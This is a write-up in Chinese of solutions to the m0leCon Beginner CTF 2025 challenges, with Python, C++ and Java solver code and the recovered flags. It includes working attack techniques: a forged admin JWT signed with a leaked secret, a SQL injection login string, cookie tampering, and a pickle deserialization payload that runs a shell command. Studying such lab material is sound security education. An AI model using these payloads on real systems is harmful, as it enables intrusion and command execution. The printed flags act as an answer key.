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m0leCon Beginner CTF 2025 Writeup

0 views · 2024-12-23
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Web

Cookie Shop

直接改cookie就可以，控制台输入btoa('{"balance": 99999}')可以拿到要修改为的值。

Go SecureIt

JWT密钥泄露。

Python
import requests
import jwt

url = "https://gosecureit.challs.m0lecon.it/flag"

payload = {
    "username": "admin",
    "role": "admin",
}

token = jwt.encode(payload, "schrody_is_always_watching", algorithm="HS256")
print(token)

resp = requests.get(url, cookies={"jwt": token})
print(resp.text)

# ptm{Th4t'5_why_1t'5_c4ll3d_53cr3t?}

Locked Door

查看元素看到跳转到/xugpuhru的按钮有disabled属性，把它移除再点击，或手动跳转。

在Previous Accesses页面，用1' or 1=1 --登录可以下载.pcap文件，从文件内容看到需要做一个RSA解密。由于n比较小，可以直接借助Sage分解。解密后的8位数字就是密码。

Python
p, q = 9962676558042353381, 16839954032773686901
cipher = 45538264661765883251026503237437838586

e = 65537

n = p * q
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
msg = pow(cipher, d, n)

print(msg)  # 99004462

# ptm{iT_1s_d17fiCu1t_t0_uNl0ck_4_d00r}

Misc

Pickle Soup

Python
import base64

payload = b'''\
(S'cat *.txt'
ios
system
.'''

payload = base64.b64encode(payload)
print(payload)  # b'KFMnY2F0ICoudHh0Jwppb3MKc3lzdGVtCi4='

# ptm{Th3_s3cr3t_1ngr3di3nt_w3re_th3_fri3nds_w3_m4de_4l0ng_th3_w4y}

Reversing

Susculator

数据规模不大，可以直接爆破。满足条件的结果不唯一。

C++
#include <iostream>
#define HIWORD(x) (((x) >> 16) & 0xFFFF)
using namespace std;
typedef unsigned int i32;
i32 myhash(i32 a1)
{
    i32 v2 = -793289518 * ((-793289518 * (a1 ^ HIWORD(a1))) ^ ((-793289518 * (a1 ^ HIWORD(a1))) >> 16));
    return HIWORD(v2) ^ v2;
}
int main()
{
    int target=-1554755408;
    for(i32 test=0;;test++)
    {
        if(test%100000000==0) cout<<test<<endl;
        if(target==myhash(test))
        {
            cout<<test<<endl; // 733394619
            break;
        }
    }
    cout<<"Done.";
    return 0;
}

// ptm{my_s3cr3t_i5_th4t_1_l0v3_c4t5}

Droid Cryptor

用Java写出对应的解密逻辑即可：

Java
import javax.crypto.*;
import javax.crypto.spec.GCMParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.util.Base64;

public class Test {
    private static final String IV = "TXdESVBYeWc1dldkbHNFaQ==";
    private static final String Key = "YWYwYjAyYjkzNmRhZjU3Yg==";
    private static final String Output = "XZdGZ7pi9Ih4wHL/8Mj0q8/o6i/utS2tIsigHXCaEzpTXgesqtnLNJMbagqYH67ut9dbxhXC28w=";

    public static String decrypt() throws Exception {
        Base64.Decoder decoder = Base64.getDecoder();
        SecretKey secretKey = new SecretKeySpec(decoder.decode(Key), "AES");
        GCMParameterSpec gcmParameterSpec = new GCMParameterSpec(128, decoder.decode(IV));
        Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding");
        cipher.init(Cipher.DECRYPT_MODE, secretKey, gcmParameterSpec);
        byte[] decryptedData = cipher.doFinal(decoder.decode(Output));
        return new String(decryptedData);
    }

    public static void main(String[] args) throws Exception {
        String decryptedData = decrypt();
        System.out.println("Decrypted Data: " + decryptedData);
    }
}

// Decrypted Data: ptm{th3nk_y0u_f0r_r3st0r1ng_mY_m3ss4g3!}

Magical Advisor

解线性方程组。

Python
import numpy as np

A0 = [
    0x558, 0x6EC, 0x629, 0x600, 0x53F, 0x4A9, 0x40F, 0x538,
    0x604, 0x748, 0x4EF, 0x3F1, 0x4E9, 0x76D, 0x407, 0x42F,
    0x58A, 0x7CB, 0x69C, 0x5FD, 0x532, 0x74A, 0x429, 0x653,
    0x762, 0x6B5, 0x574, 0x758, 0x479, 0x6FE, 0x547, 0x77D,
    0x4EE, 0x601, 0x6D4, 0x55F, 0x787, 0x420, 0x661, 0x625,
    0x44B, 0x7A2, 0x646, 0x668, 0x541, 0x699, 0x7C0, 0x593,
    0x436, 0x62F, 0x5E3, 0x668, 0x507, 0x459, 0x4FB, 0x706,
    0x5EE, 0x421, 0x6A7, 0x6A0, 0x66A, 0x5FC, 0x781, 0x4BA,
]
print(len(A0))  # 64

A = np.array(A0).reshape(8, 8)
b = [0x24755BA, 0x238FFE7, 0x28CC2B2, 0x2B017EC, 0x278F0B0, 0x295FE1C, 0x2500092, 0x27D1441]
x = np.linalg.solve(A, b)

print(x)
for i in x:
    print(round(i))

# ptm{sm7_s0lv3r5_c4n_b3_m4g1c4l}